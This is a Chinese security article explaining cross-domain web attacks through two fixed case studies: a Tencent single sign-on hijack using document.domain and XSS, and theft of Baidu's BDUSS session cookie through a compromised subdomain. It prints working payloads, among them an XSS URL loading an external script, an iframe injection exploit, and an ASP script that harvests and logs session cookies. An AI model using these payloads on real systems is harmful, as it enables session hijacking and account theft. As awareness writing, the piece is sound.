浅谈跨域WEB攻击

0×00 前言

一直想说说跨域web攻击这一概念，先前积累了一些案例和经验，所以想写这么一篇文档让大家了解一下跨域web攻击，跨域web攻击指的是利用网站跨域安全设置缺陷进行的web攻击，有别于传统的攻击，跨域web攻击可以从网站某个不重要的业务直接攻击和影响核心业务。

传统的安全思维教会我们按资产、功能等需求划分核心业务，优先保护核心业务等，非核心业务的安全等级一般没有核心业务高，给我们错觉是非核心业务受到攻击的话，所造成损失不会很大，也不会影响到核心业务，所以让安全工作者了解跨域web攻击这一概念还是非常有意义的。

0×01 基于ajax跨域设置的跨域攻击

使用ajax技术让人头痛的地方就是如何跨域，受同源策略所限不同域名包括子域名在内是无法进行AJAX请求的，随后衍生出一类技术可以通过设置document.domain实现跨域。如a.test.com和b.test.com,当两个网站通过javascript操作DOM接口 document.domain=’test.com’ 将网站的域设置为test.com后，两个网站就处于同一个域内，可以进行各种跨域操作。在开发人员方面这是很方便的跨域技术，但是在攻击者眼中这简直就是一个大后门，黑客只需要找到*.test.com下任意一个XSS漏洞，在任意一个子域名里的网页都可以跨域攻击a.test.com和b.test.com。

ajax跨域设置另外一个重点是这种跨域设置还会影响到窗口引用关系的同源策略，如腾讯微博网站进行了document.domain=’qq.com’的跨域设置，我们可以针对腾讯微博做个实验，在自己的腾讯微博http://t.qq.com/中发任意一个*.qq.com的网站的链接(如：http://www.qq.com），在腾讯微博中打开这个网站，然后在地址栏内用javascrit伪协议运行如下的脚本，你会发现腾讯微博所在的网页被注入了一个alert提示框：

javascript:window.opener.eval('alert(/xss/)');

最后得出结论，由于腾讯微博网站进行了跨域设置，所以*.qq.com下的任意一个和腾讯微博有窗口引用关系的网页，都可以往腾讯微博跨域注入脚本运行。

案例：腾讯单点登录系统跨域劫持漏洞

QQ的客户端安装了一个快速登录插件，在客户端已登录且QQ.exe在运行的状态下,这个快速登录插件可以自动生成一个和QQ号对应的密钥，在IE浏览器访问QQ网站的各个应用时通过这个密钥可以免密码一键登录网站。我经过分析发现，这个快速登录插件最大的安全措施是生成密钥的关键函数设置了一个信任域xui.ptlogin2.qq.com，也就是在xui.ptlogin2.qq.com的网页中我们才可以使用这个插件生成密钥。快速登录插件的这个信任域安全措施本意是阻止其他非安全域的网页调用这个插件，而开发人员却在xui.ptlogin2.qq.com的一个网页写入了document.domain=’qq.com’的跨域设置，结果导致这个信任域形同虚设。通过QQ任意分站的一个XSS漏洞我们就能攻击xui.ptlogin2.qq.com，首先给分站的网页进行跨域设置，然后通过框架页嵌入xui.ptlogin2.qq.com的跨域设置页，由于两个网页都设置了同一个域，同源策略生效，那么就可以跨域操作框架注入脚本到xui.ptlogin2.qq.com的域内运行。部分攻击代码如下：

http://product.tech.qq.com/simp_search.php?keyword="></script><script/src=http://127.0.0.1/xss.js></script>

xss.js的内容：

window.name ='......' // xui.ptlogin2.qq.com域内运行的攻击脚本省略
document.domain='qq.com'; //跨域设置
function exploit(){crossQQdomain.location = "javascript:eval(window.parent.name);void(0)";} //在id为crossQQdomain的框架中通过伪协议注入脚本
document.write("<iframe id='crossQQdomain' src='http://xui.ptlogin2.qq.com/*.html' onload=exploit()></iframe>");

通过window.name内设置的是调用快速登录插件攻击脚本代码，被攻击者访问了我们的跨站链接后，我们就可以获取到QQ的一键登录密钥，后果不可想象。

0×02 基于cookie安全的跨域攻击

以前关于csrf的文档提过cookie的“同源策略”，实际上这个只是含糊的说明了cookie的domain字段的作用。cookie的domain字段和浏览器约定俗成，如一般cookie的domain字段被默认设置为www.test.com, 二级域名*.test.com下就无法访问这个cookie，所以很多网站就将cookie的domain字段设置为.test.com解决二级域名的cookie读取问题。

案例：第三方分站沦陷导致的百度cookie安全问题

在百度的passport登录以后，百度会给客户端设置一个名为BDUSS的cookie值，这个值的domain字段是.baidu.com，如下：

set-cookie: BDUSS=EVaS0YtVW91NUFnNktNNDhCeUxZelByZ2t6VnNqc2VKNDhqanhXV0Q1a1p4TVJOQVFBQUFBJCQAAAAAAAAAAApBESM9lhgAcmF5c3R5bGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgekV4AAAAAOB6RXgAAAAAcF1CAAAAAAAxMC42NS4yNBk3nU0ZN51gh; expires=Tue, 01 Jan 2030 00:00:00 GMT; path=/; domain=.baidu.com

这个cookie是百度众多的二级域名共享的身份认证cookie，在某个巧合下我发现了百度第三方网站http://zhishang.baidu.com的漏洞，控制了zhishang.baidu.com的主机，这个网站的域名刚好属于百度的子域名,那么服务端是可以收到BDUSS这个关键cookie的，由于主机是IIS，于是写了个简单的收集HTTP请求头中cookie值的asp脚本，部分攻击代码如下：

<%
Dim sp,i,rf
sp = split(request.ServerVariables("HTTP_COOKIE"),"; ",-1,1) #通过服务器变量获取HTTP请求头中的COOKIE值
rf = Request.ServerVariables("HTTP_REFERER")
For i=0 to UBound(sp)
if instr(sp(i),"BDUSS")>0 then
txtfile=server.mappath("log.txt")
set fso = CreateObject("Scripting.FileSystemObject")
set MyFile = fso.opentextfile(txtfile,8,True,0)
MyFile.Writeline(date()&" "&time()& " "& rf)
MyFile.Writeline(sp(i)& Chr(13))
MyFile.Close
set fso = nothing
Response.cookies("BDUSS")="delete"
Response.cookies("BDUSS").Path="/"
Response.cookies("BDUSS").Expires=(now()-1)
Response.cookies("BDUSS").Domain = ".baidu.com"
end if
next
response.redirect "http://static.tieba.baidu.com/tb/editor/images/tsj/t_0028.gif" # 302转跳到真实的图片
%>

将http://zhishang.baidu.com/c.asp#.gif（#是url注释）这样的链接当成图片发布在百度贴吧、百度HI等的帖子或日志中，被攻击者如果访问了嵌入了类似图片链接的网页，浏览器将会向zhishang.baidu.com的脚本发起一个GET请求，这个请求会带上BDUSS值的cookie，服务端的脚本获取这个cookie后，攻击者就可以在另一方利用这个cookie伪造被攻击者的身份使用百度相关的服务。

0×03 跨域web攻击的思考

跨域web攻击还有很多种，本文只提到了危害比较大的两种，案例中所提到的漏洞也已经修复。本文没有再提到这类攻击的防御措施，因为这类web攻击已经有别于传统的单点攻击，实际上国内外各大网站和web程序都存在类似的安全问题，这类安全问题不是一个单独的个例，而是从网站架构开始就需要考虑的安全问题。

本文的目的并不是交大家如何利用跨域web攻击，而是希望大家通过这类安全问题思考更多，让大家意识到现实的网络并没有绝对的安全，我们面临的web安全问题依然严峻，应用和安全是一个对立面，我们需要在应用和安全中间找到一个平衡点。

0×04 参考

腾讯单点登录系统跨域劫持漏洞 http://www.wooyun.org/bugs/wooyun-2010-0118
百度认证机制问题分析与利用 http://www.wooyun.org/bugs/wooyun-2010-0253